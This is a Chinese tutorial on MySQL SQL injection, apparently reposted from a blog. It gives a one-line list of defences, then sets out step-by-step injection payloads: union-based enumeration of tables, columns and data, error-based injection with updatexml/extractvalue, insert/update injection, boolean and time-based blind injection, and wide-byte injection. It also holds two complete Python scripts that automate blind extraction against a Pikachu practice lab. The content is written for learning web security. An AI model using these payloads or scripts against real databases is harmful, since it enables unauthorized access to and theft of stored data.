MySql教程

SQL注入 - mysql

本文主要是介绍SQL注入 - mysql,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL注入 - mysql

  • 什么是SQL注入? 答:用户输入的数据被当作SQL语句执行
  • 怎么防范SQL注入? 答: 预编译、正则匹配过滤、过滤特殊字符、检查变量类型

数值型注入

数字型注入不需要闭合
SQL语句: select * from users where id = $id

判断注入点是否存在

  • and 1=1 返回正确
  • and 1=2 返回错误

猜字段数

  • order by n
  • 拼接后的SQL语句: select * from users where id = $id order by n

猜输出位

  • 1 and 1=2 union select 1,2,3
  • 拼接后的SQL语句: select * from users where id = $id and 1=2 union select 1,2,3

查询当前数据库所有表

  • 1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
  • 拼接后的SQL语句: select * from users where id = $id and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()

查询列名

  • 1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = $table_name
  • 拼接后的SQL语句: select * from users where id = $id and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = $table_name

拿数据

  • 1 and 1=2 union selct 1,group_concat(字段名),3 from $table_name
  • 拼接后的SQL语句: select * from users where id = $id and 1=2 union select 1,group_concat(字段名),3 from $table_name

字符型注入

字符型注入需要闭合且需要注释
SQL语句:
- select * from users where id='$id'
- select * from users where id="$id"
- select * from users where id=('$id')
- select * from users where id=("$id")

判断注入点是否存在

  • xxx’ and 1=1 – asdf 返回正常
  • xxx’ and 1=2 – asdf 返回错误
  • 拼接后的SQL语句:select * from users where id = 'xxxx' and 1=1 -- asdf

利用过程和数值型类似

报错注入

updatexml(1,2,3):第二个参数可利用
extractvalue(1,2):第二个参数个利用

利用语句

  • extractvalue(1,concat('~',(select语句)))
  • updatexml(1,concat('~',(select语句)),3)

insert/update注入

注册 修改信息处
SQL语句: insert into users(id,username,password,level) values(1,'wangyl2','admin','2');

判断注入点是否存在

  1. 数值型:and updatexml(1,concat(0x7e,database()),0)
    • 拼接后的SQL语句:insert into users(id,username,password,level) values(1 and updatexml(1,concat(0x7e,database()),0) ,'wangyl2','admin','2');
  2. 字符型:’ or updatexml(1,concat(0x7e,database()),0) or ’
    • 拼接后的SQL语句:insert into users(id,username,password,level) values(1,'wangyl2' or updatexml(1,concat(0x7e,database()),0) or '','admin','2');

布尔盲注

根据参数的不同,页面共两个页面(0 或者 1)

判断注入点是否存在

  • ’ and 1=1 – af 正常返回
  • ’ and 1=2 – af 错误返回(没有报错)

一个一个字符猜数据库名

  • eg. xxx’ and ascii(substr(database(),1,1))=100 – af
  • eg. xxx’ and (lenght(database()))>5 – af
  • 拼接后的SQL语句:select * from users where id = '1' and ascii(substr(database(),1,1))=100 -- af'

脚本:

# 普通脚本
import requests
url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_b.php?name="
words = "your uid:1 "
flag = ""
for i in range(50):
    for j in range(32,129):
        get_data = "vince' and ascii(substr(database(),{},1))={} -- af&submit=查询#" .format(i, j)
        re = requests.get(url+get_data)
        if words in re.text:
            print("*"*10)
            flag += chr(j)
            print(flag)
            break

# 二分法
import requests

url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_b.php?name="
words = "your uid:1 "
flag = ""
for i in range(50):
    min = 32
    max = 129
    mid = (min + max) // 2
    while min < max:
        get_data = "vince' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} -- af&submit=查询#" .format(i, mid)
        re = requests.get(url+get_data)
        if words in re.text:
            min = mid
        else:
            max = mid
        mid = (min + max) // 2
        if min == mid:
            flag += chr(mid+1)
            print(flag)
            break

时间盲注

无论怎样的参数,页面都不发生任何变化,都是同一个页面

判断注入点是否存在

  • xxx’ and sleep(5) – af

利用语句

  • xxx’ and if((length(database())>5),sleep(5),0) – af

脚本:

import requests
import datetime

url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_t.php?name="
words = "your uid:1 "
flag = ""
for i in range(50):
    min = 32
    max = 129
    mid = (min + max) // 2
    while min < max:
        get_data = "vince' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(3),0) -- af&submit=查询#" .format(i, mid)
        time_start = datetime.datetime.now()
        re = requests.get(url+get_data)
        time_end = datetime.datetime.now()
        t = (time_end - time_start).seconds
        if t >= 3:
            min = mid
        else:
            max = mid
        mid = (min + max) // 2
        if min == mid:
            flag += chr(mid+1)
            print(flag)
            break

宽字节注入

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

判断注入点是否存在

  • data数据:name=xxx%df%27%20or%201=1%20–%20af

利用语句

  • 联合查询
  • 报错注入
  • 等等
这篇关于SQL注入 - mysql的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!